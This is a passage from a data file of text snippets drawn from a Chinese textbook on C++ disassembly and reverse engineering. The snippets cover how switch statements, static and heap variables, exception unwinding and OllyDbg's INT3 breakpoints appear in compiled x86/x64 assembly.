;跳转到if_else_if结束代码块 { 00401031 cmp dword ptr [ebp-4], 3 00401035 jnz short loc_401046 ;如果n!=3跳转到else_if语句代码块 00401037 push offset aN3 0040103C call sub_4010E0 00401041 add esp, 4 ;else_if语句代码块 } 00401044 jmp short loc_401059 ;跳转到if_else_if结束代码块 { 00401046 cmp dword ptr [ebp-4], 64h 0040104A jnz short loc_401059 ;如果n!=100跳转到if_else_if结束代码块 0040104C push offset aN100 00401051 call sub_4010E0 00401056 add esp, 4 ;else_if语句代码块 } 00401059 xor eax, eax ;if_else_if结束代码块 0040105B mov esp, ebp 0040105D pop ebp 0040105E retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D mov dword ptr [rsp+20h], 1 0000000140001015 lea rdx, [rsp+20h] 000000014000101A lea rcx, unk_1400182D0 0000000140001021 call sub_140001190 0000000140001026 cmp dword ptr [rsp+20h], 1 000000014000102B jnz short loc_14000103B ;如果n!=1跳转到else_if语句代码块 { 000000014000102D lea rcx, aN1 0000000140001034 call sub_140001130 ;if语句代码块 } 0000000140001039 jmp short loc_140001063 ;跳转到if_else_if结束代码块 { 000000014000103B cmp dword ptr [rsp+20h], 3 0000000140001040 jnz short loc_140001050 ;如果n!=3跳转到else_if语句代码块 0000000140001042 lea rcx, aN3 0000000140001049 call sub_140001130 ;else_if语句代码块 } 000000014000104E jmp short loc_140001063 ;跳转到if_else_if结束代码 { 0000000140001050 cmp dword ptr [rsp+20h], 64h 0000000140001055 jnz short loc_140001063 ;如果n!=100跳转到if_else_if结束代码 0000000140001057 lea rcx, aN100 000000014000105E call sub_140001130; ;else_if语句代码块 } 0000000140001063 xor eax, eax ;if_else_if结束代码块 0000000140001065 add rsp, 38h 0000000140001069 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 将代码清单5-10与代码清单5-9进行对比分析if…else if结构会在条件跳转后紧跟语句块而switch结构则将所有的条件跳转都放置在一起并没有发现case语句块的踪影。"},
    {"text": "总结 mov reg, mem ; 取出switch中考察的变量 ;影响标志位的指令 jxx xxxx ; 跳转到对应case语句块的首地址处 ; 影响标志位的指令 jxx xxxx ; 影响标志位的指令 jxx xxxx jmp END ; 跳转到switch的结尾地址处 ...... ; case语句块的首地址 jmp END ; case语句块结束有break则产生这个jmp ...... ; case语句块的首地址 jmp END ; case语句块的结束有break则产生这个jmp ...... ; case语句块的首地址 jmp END ; case语句块结束有break则产生这个jmp END: ; switch结尾 ...... 遇到上述代码块时需要重点考察每个条件跳转指令后是否跟有语句块以辨别switch分支结构。"},
    {"text": "代码清单5-11 有序线性的C++示例代码 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n = 1; scanf(\"%d\", &n); switch(n){ case 1: printf(\"n == 1\"); break; case 2: printf(\"n == 2\"); break; case 3: printf(\"n == 3\"); break; case 5: printf(\"n == 5\"); break; case 6: printf(\"n == 6\"); break; case 7: printf(\"n == 7\"); break; } return 0; } 在此段代码中case语句的标号为一个数值为17的有序序列。"},
    {"text": "这么做需要比较的次数太多如何降低比较次数提升效率呢由于是有序线性的数值可将每个case语句块的地址预先保存在数组中考察switch语句的参数并依此查询case语句块地址的数组从而得到对应case语句块的首地址我们通过代码清单5-12验证这一优化方案。 代码清单5-12 有序线性示例Debug版 //switch代码讲解 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 1 0040100D lea eax, [ebp-8] 00401010 push eax 00401011 push offset unk_417160 00401016 call sub_401180 0040101B add esp, 8 0040101E mov ecx, [ebp-8] 00401021 mov [ebp-4], ecx 00401024 mov edx, [ebp-4] ;edx=n 00401027 sub edx, 1 ;edx=n-1 0040102A mov [ebp-4], edx 0040102D cmp dword ptr [ebp-4], 6 00401031 ja short loc_401095 ;如果n>6跳转到switch结束代码块 00401033 mov eax, [ebp-4] 00401036 jmp ds:off_40109C[eax*4] ;n当作数组下标查表获取地址跳转 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000:0000000140001000 mov [rsp+10h], rdx 0000:0000000140001005 mov [rsp+8], ecx 0000:0000000140001009 sub rsp, 38h 0000:000000014000100D mov dword ptr [rsp+24h], 1 0000:0000000140001015 lea rdx, [rsp+24h] 0000:000000014000101A lea rcx, unk_1400182D0 0000:0000000140001021 call sub_1400011F0 0000:0000000140001026 mov eax, [rsp+24h] 0000:000000014000102A mov [rsp+20h], eax 0000:000000014000102E mov eax, [rsp+20h] ;eax=n 0000:0000000140001032 dec eax 0000:0000000140001034 mov [rsp+20h], eax ;n=n-1, 0000:0000000140001038 cmp dword ptr [rsp+20h], 6 0000:000000014000103D ja short loc_1400010A9 ;如果n>6跳转到switch结束代码块 0000:000000014000103F movsxd rax, dword ptr [rsp+20h] ;rax=n 0000:0000000140001044 lea rcx, cs:140000000h ;rcx=表首地址 0000:000000014000104B mov eax, ds:(off_1400010B0 - 140000000h)[rcx+rax*4] 0000:0000000140001052 add rax, rcx 0000:0000000140001055 jmp rax ;n当作数组下标查表获取表偏移加上表首地址跳转 //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单5-12中的00401027汇编语句为什么要对edx减1呢因为代码中为case语句制作了一份case地址数组或者称为“case地址表”这个数组保存了每个case语句块的首地址并且数组下标是以0起始的。"},
    {"text": "在进入switch后会先进行一次比较检查输入的数值是否大于case的最大值由于case的最小值为1那么对齐到0下标后示例中case的最大值为67-1=6。 又由于使用了无符号比较ja指令是无符号比较大于则跳转当输入的数值为0或一个负数时同样会大于6流程将直接跳转到switch的末尾。"},
    {"text": "保证switch的参数值在case最大值的范围内就可以以地址0x0040109C作为基地址寻址了查表 [1] 后跳转到对应case地址处。 地址0x0040109C就是case地址表数组的首地址图5-3便是代码清单5-12的case地址表信息。 图5-3 有序线性case地址表 图5-3以0x0040109C为起始地址每4个字节数据保存了一个case语句块的首地址。 依次排序下来第一个case语句块所在地址为0x0040103D。 表中第0项保存的内容为0x0040103D即case 1语句块的首地址。 当输入给switch的参数值为1时编译器减1调整到case地址数组的下标0后eax*4+40109Ch就变成了0 * 4 + 0x0040109C查表得到第0项即case 1语句块的首地址。"},
    {"text": "代码清单5-13 线性的case语句块Debug版 //case代码讲解 //x86_vs对应汇编代码讲解 { 0040103D push offset aN1 00401042 call sub_401140 00401047 add esp, 4 ;case1语句代码块 } 0040104A jmp short loc_401095 ;跳转到switch结束代码块 { 0040104C push offset aN2 00401051 call sub_401140 00401056 add esp, 4 ;case2语句代码块 } 00401059 jmp short loc_401095 ;跳转到switch结束代码块 { 0040105B push offset aN3 00401060 call sub_401140 00401065 add esp, 4 ;case3语句代码块 } 00401068 jmp short loc_401095 ;跳转到switch结束代码块 { 0040106A push offset aN5 0040106F call sub_401140 00401074 add esp, 4 ;case5语句代码块 } 00401077 jmp short loc_401095 ;跳转到switch结束代码块 { 00401079 push offset aN6 0040107E call sub_401140 00401083 add esp, 4 ;case6语句代码块 } 00401086 jmp short loc_401095 ;跳转到switch结束代码块 { 00401088 push offset aN7 0040108D call sub_401140 00401092 add esp, 4 ;case7语句代码块 } 00401095 xor eax, eax ;switch结束代码块 00401097 mov esp, ebp 00401099 pop ebp 0040109A retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 { 0000000140001057 lea rcx, aN1 000000014000105E call sub_140001190 ;case1语句代码块 } 0000000140001063 jmp short loc_1400010A9 ;跳转到switch结束代码块 { 0000000140001065 lea rcx, aN2 000000014000106C call sub_140001190 ;case2语句代码块 } 0000000140001071 jmp short loc_1400010A9 ;跳转到switch结束代码块case { 0000000140001073 lea rcx, aN3 000000014000107A call sub_140001190 ;case3语句代码块 } 000000014000107F jmp short loc_1400010A9 ;跳转到switch结束代码块 { 0000000140001081 lea rcx, aN5 0000000140001088 call sub_140001190 ;case5语句代码块 } 000000014000108D jmp short loc_1400010A9 ;跳转到switch结束代码块 { 000000014000108F lea rcx, aN6 0000000140001096 call sub_140001190 ;case6语句代码块 } 000000014000109B jmp short loc_1400010A9 ;跳转到switch结束代码块 { 000000014000109D lea rcx, aN7 00000001400010A4 call sub_140001190 ;case7语句代码块 } 00000001400010A9 xor eax, eax ;switch结束代码块 00000001400010AB add rsp, 38h 00000001400010AF retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 将图5-3和代码清单5-13对比可知每个case语句块的首地址都在表中但有一个地址却不是case语句块的首地址0x00401095。"},
    {"text": "在编写代码的过程中无须有序排列case值编译器会在编译过程中对case线性地址表进行排序如case的顺序为3、2、1、4、5在case线性地址表中会将它们的语句块的首地址进行排序将case 1语句块的首地址放在case线性地址表的第0项上case 2语句块首地址放在表中第1项以此类推将首地址变为一个有序的表格进行存放。"},
    {"text": "如何得到这个标号值呢很简单只要找到case线性地址表。 本例的case线性地址表首地址为0x004010B0如图5-5所示。 图5-5 switch的有序线性case地址表 case线性地址表是一个有序表在switch语句块中有减1操作地址表是以0为下标启始的那么表中的第0项对应的case标号值应为10+1=1地址0x0040104A处为“case 1”。"},
    {"text": "总结 mov reg, mem ; 取变量 ; 对变量进行运算对齐case地址表的0下标非必要 ; 上例中的eax也可用其他寄存器替换这里也可以是其他类型的运算 lea eax, [reg+xxxx] ; 影响标志位的指令进行范围检查 jxx DEFAULT_ADDR jmp dword ptr [eax*4+xxxx] ; 地址xxxx为case地址表的首地址 当遇到上述代码块时可获取某一变量的信息并对其进行范围检查如果超过case的最大值则跳转条件成立跳转目标指明了switch语句块的末尾或者是default块的首地址。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 7.2 局部静态变量的工作方式 静态变量分为全局静态变量和局部静态变量全局静态变量和全局变量类似只是全局静态变量只能在当前文件内使用。"},
    {"text": "全局静态变量的生命周期和全局变量是一样的而且在反汇编代码中它们也并无二致。 也就是说全局静态变量和全局变量在内存结构和访问原理上都是一样的相当于全局静态变量等价于编译器限制外部源码文件访问的全局变量。"},
    {"text": "局部静态变量比较特殊它不会随作用域的结束而消失并且在未进入作用域之前就已经存在了其生命周期也和全局变量相同。 那么编译器是如何做到使局部静态变量与全局变量的生命周期相同但作用域不同的呢实际上局部静态变量和全局变量都保存在执行文件的数据区中但由于局部静态变量被定义在某一作用域内让我们产生了错觉误认为此处为它的生命起始点。 实则不然局部静态变量会预先被作为全局变量处理而它的初始化部分只是在做赋值操作而已。"},
    {"text": "当某函数被频繁调用时C++语法中规定局部静态变量只能被初始化一次那么编译器如何确保每次进入函数体时赋值操作只被执行一次呢我们一起分析代码清单7-3揭开这个谜底。"},
    {"text": "多个局部静态变量的定义如图7-3所示。 图7-3 多个局部静态变量的定义 图7-3中定义了两个局部静态变量分别为g_static1和g_static2。"},
    {"text": "对图7-4中的静态变量g_static进行名称粉碎后结果如图7-5所示。 图7-4 初始化为常量的局部静态变量 图7-5 名称粉碎后的静态变量名称 通过名称粉碎在原有名称中加入其所在的作用域以及类型等信息。"},
    {"text": "如何查找粉碎后的名称呢查找编译后对应的obj文件通过WinHex打开该文件后使用快捷键“Ctrl+F”快速查找字符串然后输入原静态变量名称便能快速定位到该静态变量粉碎后的名称位置如图7-5所示粉碎规则不必重点学习读者只须知道是通过名称粉碎完成作用域的识别过程即可C++的函数重载也是如此同样是先粉碎函数名称再组合出新名称。"},
    {"text": "VS编译器可使用/Fas编译选项生成汇编文件GCC和Clang可以使用-S编译选项生成汇编文件如图7-6所示。 图7-6 编译选项设置 设置好编译选项后再次编译针对工程中的CPP文件生成对应的同名称的汇编文件如图7-7所示。 图7-7 编译选项生成的汇编文件 obj文件就是由图7-7中的汇编文件编译而成的。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 13.3 异常类型为对象的处理流程 C++中抛出的异常不仅可以是基本数据类型还可以是对象。"},
    {"text": "代码清单13-6 抛出的异常为对象的C++源码 class CexceptionBase { public: CExceptionBase() { printf(\"CExceptionBase() \\r\\n\"); } ~CExceptionBase(){ printf(\"~CExceptionBase()\\r\\n\"); } }; class CException : public CExceptionBase{ public: CException(int nErrID){ m_nErrorId = nErrID; printf(\"CException(int nErrID)\\r\\n\"); } CExcepction(CException& Exception){ printf(\"CException(CException& Exception)\\r\\n\"); m_nErrorId = Exception.m_nErrorId; } int GetErrorId(){ // 获取错误码 return m_nErrorId; } private: int m_nErrorId ; }; // 抛出异常对象 void ExceptionObj() { int nThrowErrorCode = 119; printf(\" 请输入测试错误码 :\\n\"); scanf(\"%d\", &nThrowErrorCode); try{ if (nThrowErrorCode == 110) { CException myStru(110); throw &myStru; // 抛出异常对象的指针 } else if (nThrowErrorCode == 119) { CException myStru(119); throw myStru; // 抛出异常对象 } else if (nThrowErrorCode == 120) { CException *pMyStru = new CException(120); throw pMyStru; // 抛出异常对象 } else{ } throw CException(nThrowErrorCode); // 抛出异常对象 } catch(CException e) { // 异常处理 printf(\"catch(CException &e)\\n\"); printf(\"ErrorId: %d\\n\", e.GetErrorId()); } catch(CException *p){ // 异常处理 printf(\"catch(CException *e)\\n\"); printf(\"ErrorId: %d\\n\", p->GetErrorId()); } } 代码清单13-6中抛出了各种异常对象的指针和引用等类型C++的异常处理会根据抛出异常对象类型的不同指定不同的处理流程。"},
    {"text": "代码清单13-8 __FrameUnwindToState函数分析Debug版 ; 函数原型 ;int __cdecl FrameUnwindToState( EHRegistrationNode *pRN,void *pDC, struct FuncInfo *pFuncInfo, int targetState) __FrameUnwindToState proc near ; 部分代码分析略 00403B66 mov eax, [ebp+pRN] 00403B69 mov ecx, [eax+EHRegistrationNode.dwState]; 当前框架状态值 00403B6C mov [ebp+dwState], ecx loc_403B6F: ; 循环起始处 00403B6F mov edx, [ebp+dwState] 00403B72 cmp edx, [ebp+targetState] ; 0FFFFFFFFh ; 检查栈展开数下标值是否为-1 00403B75 jz Exit ; 若为-1则表示结束 00403B7B cmp [ebp+dwState], 0FFFFFFFFh 00403B7F jle short loc_403B95 ; 检查当前框架的状态值是否为-1 00403B81 mov eax, [ebp+pFuncInfo] 00403B84 mov ecx, [ebp+dwState] 00403B87 cmp ecx, [eax+FuncInfo.maxState] ; 最大的状态栈展开数 ; 比较注册异常的ID是否小于栈展开个数如果大于或等于则不属于该异常然后调用inconsistency 弹出错误对话框 00403B8A jge short loc_403B95 00403B8C mov [ebp+var_20], 0 00403B93 jmp short loc_403B9D loc_403B95: ; 显示错误信息 00403B95 call terminate_0 00403B9A mov [ebp+var_20], eax 00403B9D mov [ebp+lpEstablisherFrame], 0 00403BA4 mov edx, [ebp+pFuncInfo] ; 获取指向栈展开函数表的指针UnwindMapEntry*并保存至eax 00403BA7 mov eax, [edx+FuncInfo.pUnwindMap] 00403BAA mov ecx, [ebp+dwState] 00403BAD cmp dword ptr [eax+ecx*8+4], 0 ; 判断展开栈的函数指针是否为NULL 00403BB2 jz short loc_403BD0 00403BB4 push 103h ; n4 00403BB9 mov edx, [ebp+pRN] 00403BBC push edx ; lpEstablisherFrame 00403BBD mov eax, [ebp+pFuncInfo] ; 获取指向栈展开函数表的指针UnwindMapEntry*并保存至ecx 00403BC0 mov ecx,[eax+FuncInfo.pUnwindMap] 00403BC3 mov edx, [ebp+dwState] 00403BC6 mov eax, [ecx+edx*8+4] 00403BCA push eax ; 获取栈展开函数表中的函数指针lpCatchFun 00403BCB call CallSettingFrame ; 调用指定栈展开函数表中的函数指针析构函数 ; 部分代码分析略 loc_403BF0: 00403BF0 mov edx, [ebp+pFuncInfo] ; 获取指向栈展开函数表的指针UnwindMapEntry* 并保存至eax 00403BF3 mov eax, [edx+FuncInfo.pUnwindMap] 00403BF6 mov ecx, [ebp+dwState] 00403BF9 mov dx, [eax+ecx*8] 00403BFC mov ecx, [ebp+dwState] edx,; 获得栈展开数组中指定元素的ID 00403BFF jmp loc_403B6F ; 跳转到循环起始处 00403C04 Exit: ; 部分代码分析略 00403C6B retn 00403C6B FrameUnwindToState endp 在代码清单13-8中将FuncInfo表结构与EHRegistrationNode结构中记录的相关栈展开信息进行对比和判断以检索在展开过程中需要调用的函数。"},
    {"text": "栈展开与生产异常对象的流程执行完毕后由CallCatchBlock函数完成catch块的调用工作。 最后由_JumpToContinuation函数跳转回catch结束地址完成异常处理的全过程。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 7.3 堆变量 堆变量是所有变量表现形式中最容易识别的。"},
    {"text": "代码清单7-4 new与malloc的区别 // C++ 源码说明VS2019 Debug编译选项new与malloc #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { char * buffer1 = (char*)malloc(10); // 申请堆空间 char * buffer2 = new char[10]; // 申请堆空间 if (buffer2 != NULL){ delete[] buffer2; // 释放堆空间 buffer2 = NULL; } if (buffer1 != NULL){ free(buffer1); // 释放堆空间 buffer1 = NULL; } return 0; } // malloc内部实现 extern \"C\" _CRT_HYBRIDPATCHABLE __declspec(noinline) _CRTRESTRICT void* __cdecl malloc(size_t const size) { return _malloc_dbg(size, _NORMAL_BLOCK, nullptr, 0); //申请堆空间 } // new 内部实现 void* __CRTDECL operator new(size_t const size) { for (;;) { if (void* const block = malloc(size)) //申请堆空间 { return block; } if (_callnewh(size) == 0) { if (size == SIZE_MAX) { __scrt_throw_std_bad_array_new_length(); } else { __scrt_throw_std_bad_alloc(); } } } } 代码清单7-4展示了malloc和new的内部实现使用new申请堆空间最终也会用到malloc。"},
    {"text": "堆空间的分配类似于商场中的商铺管理malloc是从商场的空地中划分出一块作为商铺而new则是直接租用划分好的商铺。 由于malloc没有经过商场的营业规定因此需要将申请好的堆进行强制转换以说明其类型而new则无须这种操作可以直接使用。"},
    {"text": "那么这个出租、回收、再出租的过程如何实现呢物业部门利用表格记录每次租出的商铺回收商铺后再修改表格中对应的记录将对应铺位的状态置为“空闲”。"},
    {"text": "在使用IDA分析反汇编代码时需要安装对应的SIG符号文件这样才可以在反汇编代码中快速识别malloc与new高版本的IDA中默认装有此符号文件可直接识别如图7-9所示。"},
    {"text": "图7-9 malloc与new的识别 通过对malloc与new的识别可以得知此处在申请堆空间进而得到堆空间的首地址。 知道了堆空间的起始处如何找到其销毁处呢与malloc和new对应的是free和delete只要确定free与delete释放的地址和malloc与new所申请的堆空间地址一致即可确定该堆空间的生命周期如代码清单7-5所示。 代码清单7-5 堆空间的生命周期 // C++ 源码说明堆空间生命周期识别 #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { char * buffer1 = (char*)malloc(10); // 申请堆空间 char * buffer2 = new char[10]; // 申请堆空间 if (buffer2 != NULL){ delete[] buffer2; // 释放堆空间 buffer2 = NULL; } if (buffer1 != NULL){ free(buffer1); // 释放堆空间 buffer1 = NULL; } return 0; } 代码清单7-5分别使用了delete与free释放new和malloc申请的堆空间。 free与delete的识别原理和malloc与new相同都需要装有对应的SIG符号文件如图7-10所示。 图7-10 delete与free的识别 对比并分析图7-9与图7-10可得申请的堆空间的生命周期。 在分析过程中关于堆空间的释放不能只看delete与free还要结合new和malloc确认操作的是同一个堆空间。"},
    {"text": "堆空间存储了哪些信息编译器又是如何管理它们的呢在申请堆空间的过程中调用了函数_malloc_dbg, _malloc_dbg最后又调用了heap_alloc_dbg_internal其中使用_CrtMemBlockHeader结构描述了堆空间的各个成员。 在内存中堆结构的每个节点都是使用双向链表的形式存储的在_CrtMemBlockHeader结构中定义了前指针pBlockHeaderPrev和后指针pBlockHeaderNext通过这两个指针可以遍历程序中申请的所有堆空间。"},
    {"text": "成员gap为保存堆数据的数组在Debug版下这个数据的前后4个字节被初始化为0xFD用于检测堆数据访问过程中是否有越界访问_CrtMemBlockHeader结构的原型如下。 struct _CrtMemBlockHeader { _CrtMemBlockHeader* _block_header_next; //下一块堆空间首地址实际上指向的是前一次申请的堆信息 _CrtMemBlockHeader* _block_header_prev; //上一块堆空间首地址实际上指向的是后一次申请的堆信息 char const* _file_name; int _line_number; int _block_use; size_t _data_size; //堆空间数据大小 long _request_number; //堆申请次数 unsigned char _gap[no_mans_land_size]; //上溢标志 // Followed by: // unsigned char _data[_data_size]; //用户操作的堆数据 // unsigned char _another_gap[no_mans_land_size]; //下溢标志 }; 以上结构定义在VS SDK安装目录下的“ucrt\\heap\\debug_heap.cpp”文件中。 CrtMem-BlockHeader便是调试版堆空间管理的每一项数据有了此结构就可以管理申请到的堆空间了。"},
    {"text": "学习了堆结构的理论知识后接下来我们实践一下分析堆结构在内存中的表现形式通过将图7-11与_CrtMemBlockHeader结构进行对比解析堆结构中的重要数据。"},
    {"text": "new或malloc函数返回的地址为堆数据地址0x00F75940堆数据地址减4后其数据为0xFDFDFDFD这是往上越界的检查标志。 堆数据地址减8后数据为0x54表示此堆空间为第0x54次申请堆操作说明在此之前多次申请过堆空间。"},
    {"text": "当某个堆空间被释放后再次申请堆空间时会检查这个被释放的堆空间是否能满足用户要求。 如果能满足则再次申请的堆空间地址会是刚释放过的堆空间地址这就形成了回收空间的再次利用。"},
    {"text": "通过以上分析可以得到堆空间的基本信息但是对于堆空间中存放的数据类型则需要进一步分析该堆空间的使用方式即结合各种数据类型的特征以得到对应的数据类型相关步骤综合以前所学知识即可了解这里不再赘述只谈VS编译器的堆管理方式GCC和Clang读者可以根据选择的库进行相应的分析。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 15.1 INT3断点 INT3断点是最常用的断点功能其工作流程是修改机器码为0xCC制造异常。"},
    {"text": "当程序执行0xCC代码时会触发INT3异常OllyDbg将捕获此异常并等待用户处理。 跳过INT3断点则将0xCC处的代码恢复再次运行以保证程序的正常运行。"},
    {"text": "代码清单15-1 SetINT3断点设置函数分析1IDA分析 int __cdecl SetINT3(int arglist, int, int, int, int, int, int) ; 函数类型识别 SetINT3 proc near ; 函数调用地址sub_41E604+130C、sub_41E604+138D 00419974 buffer = byte ptr -408h ; 局部变量和参数地址标号定义 00419974 dest = byte ptr -208h 00419974 var_8 = dword ptr -8 00419974 var_4 = dword ptr -4 00419974 arglist = dword ptr 8 00419974 arg_4 = dword ptr 0Ch 00419974 arg_8 = dword ptr 10h 00419974 arg_C = dword ptr 14h 00419974 arg_10 = dword ptr 18h 00419974 arg_14 = dword ptr 1Ch 00419974 arg_18 = dword ptr 20h 00419974 ; 部分代码分析略 00419980 mov edi, [ebp+arg_C] 00419983 mov ebx, [ebp+arglist] ; 获取断点列表信息结构 00419986 cmp dword_4D57C4, 0 0041998D jz short loc_4199ED ; 检查断点是否存在存在则跳转 0041998F cmp [ebp+arg_4], 71h ; 检查参数此参数为键盘消息F2 00419993 jnz short loc_4199A7 00419995 cmp [ebp+arg_8], 0 00419999 jnz short loc_4199A7 0041999B push ebx 检查将要设置断点的地址处是否已经存在断点 0041999C call _Getbreakpointtype 004199A1 test ah, 2 ; 未设置断点返回0x08 004199A4 pop ecx 004199A5 jnz short loc_4199ED ; 如果已设置断点则跳转成功 代码清单15-1完成了前期的检查工作这段代码中出现了一个断点结构类型arglist此类型定义如下所示。"},
    {"text": "typedef struct t_sorted { char name[MAXPATH]; int n; int nmax; int selected; ulong seladdr; int itemsize; ulong version; void *data; SORTFUNC *sortfunc; DESTFUNC *destfunc; int sort; int sorted; int *index; int suppresserr; } t_sorted; 对于t_sorted我们暂时只需要了解结构中的n、itemsize和data。"},
    {"text": "在设置断点操作时快捷键F2如果在t_sorted结构中没有记录代码清单15-1中最后的条件跳转将失败代码顺序向下执行进入设置断点的实现流程中具体分析如代码清单15-2所示。"},
    {"text": "代码清单15-2 SetINT3断点设置函数分析2IDA分析 loc_4199A7: ; 地址标号 004199A7 push ebx ; 压入断点列表信息 004199A8 call _Findmodule ; 查找断点所在的模块的信息 004199AD pop ecx 004199AE mov esi, eax 004199B0 test eax, eax ; 检查模块查询结果 004199B2 jz short loc_4199C3 ; 查询模块失败跳转 004199B4 cmp ebx, [esi+0Ch] 004199B7 jb short loc_4199C3 ; 比较断点地址是否在查的模块内 004199B9 mov edx, [esi+0Ch] 004199BC add edx, [esi+10h] 004199BF cmp ebx, edx ; 检查断点是否在代码段中 004199C1 jb short loc_4199ED ; 如果在代码段中则跳转 loc_4199C3: ; 地址标号此流程中显示断点警告信息 004199C3 push 2124h ; uType 004199C8 push offset aU ; \"可疑的断点\" ; 压入字符串\"您设置的断点……关闭这个警告信息。 \"的首地址 004199CD push offset aLIZTSU_Int3USL 004199D2 mov ecx, hWnd 004199D8 push ecx ; hWnd 004199D9 call MessageBoxA 代码清单15-2对设置断点的地址进行了检查首先判断断点是否设置在分析程序的模块中其次检查断点是否设置在代码段内。"},
    {"text": "到这里前期的检查工作就结束了下面正式进入INT3断点的设置流程具体分析如代码清单15-3所示。 代码清单15-3 SetINT3断点设置函数分析3IDA分析 loc_4199ED: ; 地址标号 ; 部分代码分析略 004199FD push ebx 004199FE call _Getbreakpointtype ; 获取设置INT3断点地址处的内存页属性 00419A03 test ah, 2 00419A06 pop ecx 00419A07 jz short loc_419A1D ; 如果已经设置了断点则跳转失败 00419A09 push 0 00419A0B lea edx, [ebx+1] 00419A0E push edx 00419A0F push ebx 00419A10 call _Deletebreakpoints ; 删除断点信息 00419A15 add esp, 0Ch 00419A18 jmp loc_419D5E loc_419A1D: ; 地址标号 00419A1D cmp [ebp+arg_8], 0 00419A21 jnz short loc_419A6D 00419A23 push 0 ; int 00419A25 push 0 ; char 00419A27 push 20200h ; int 00419A2C push ebx ; arglist 00419A2D call _Setbreakpointext ; 设置断点 00419A32 add esp, 10h 00419A35 lea esi, [ebx+1] 00419A38 push 38h 00419A3A push esi 00419A3B push ebx ; 将INT3断点信息表中的name属性的值修改为0x38 00419A3C call _Deletenamerange ; 部分代码分析略 00419A68 jmp loc_419D5E ; 部分代码分析略 loc_419D5E: ; 地址标号 00419D5E push 0 00419D60 push 0 00419D62 push 474h 00419D67 call _Broadcast ; 发送消息通知所有子窗口更新 00419D6C add esp, 0Ch 00419D6F xor eax, eax loc_419D71: ; 恢复线程函数返回部分略 00419D77 retn 00419D77 SetINT3 endp 代码清单15-3展示了INT3断点的设置与删除过程。 通过查询断点信息表中的信息检查设置断点处是否已经设置了INT3断点如果设置了断点则删除该断点。 如果没有设置断点则设置INT3断点。 INT3断点的设置由_Setbreakpointext完成具体分析如代码清单15-4所示。 代码清单15-4 _Setbreakpointext内存断点设置IDA分析 ; int __cdecl Setbreakpointext(char arglist, int, char, int) 函数参数分析 00419560 _Setbreakpointext proc near ; 函数入口 00419560 var_2C = dword ptr -2Ch ; 局部变量和参数标号定义略 00419560 arg_C = dword ptr 14h 00419560 push ebp ; 部分代码分析略 00419570 mov edi, dword ptr [ebp+arglist] 00419573 push 0 00419575 push edi ; 设置断点地址 00419576 call _Finddecode ; 查找断点所在代码区的位置 0041957B add esp, 8 ; 断点检查代码分析略 0041963C push edi 0041963D push offset byte_4D7EE1 00419642 call _Findsorteddata ; 查找断点表中的数据 ; 部分代码分析略 00419669 mov [ebp+var_1F], edx 0041966C push ecx ; arglist 0041966D push offset byte_4D7EE1 ; src 00419672 call _Addsorteddata ; 将断点信息添加到断点信息表中 loc_419750: ; 地址标号 00419750 push 2 ; char 00419752 push 1 ; n 00419754 push edi ; arglist 00419755 lea eax, [ebx+0Ch] ; 读取目标的1字节的数据到缓冲区[ebx+0Ch]中 00419758 push eax ; src 00419759 call _Readmemory ; 读取目标的内存信息 0041975E add esp, 10h 00419761 cmp eax, 1 ; 检查读取结果 00419764 jz short loc_419799; 如果读取失败则删除断点信息表中的信息 ; 删除断点信息表操作略 loc_4197C9: ; 地址标号 004197C9 push 2 ; char 004197CB push 1 ; nSize 004197CD push edi ; arglist 004197CE lea edx, [ebp+Buffer]; 将0xCC写入目标断点的地址 004197D1 push edx ; lpBuffer 004197D2 call _Writememory ; 写入INT3断点信息 004197D7 add esp, 10h 004197DA cmp eax, 1 004197DD jz short loc_419814; 如果写入失败则删除断点信息表中的信息否则跳转 ; 部分代码分析略 loc_419814: ; 地址标号 00419814 or dword ptr [ebx+8], 100h 0041981B jmp loc_4198A2 ; 跳转到地址标号loc_4198A2处 ; 部分代码分析略 loc_4198A2: ; 地址标号 ; 部分代码分析略 004198F4 push (offset aNoaccess+8) 004198F9 push 38h 004198FB push edi 004198FC call _Insertname ; 设置INT3断点信息 00419901 add esp, 0Ch ; 操作同上分析略 ; 刷新窗口并还原环境结束函数调用分析略 00419973 retn 00419973 _Setbreakpointext endp 以上分析了INT3断点的设置与删除过程。"},
    {"text": "INT3断点是如何被触发的呢要了解INT3断点的触发过程需要掌握异常处理机制的相关知识因此本书将触发过程与异常处理机制的内容15.4节放在一起进行详细分析。"},
    {"text": "OllyDbg实现INT3断点的主要流程检查INT3断点是否记录在断点信息表中→将INT3断点信息记录到表中→记录INT3断点处的机器码信息→将INT3断点处的机器码修改为0xCC→设置断点信息表。"},
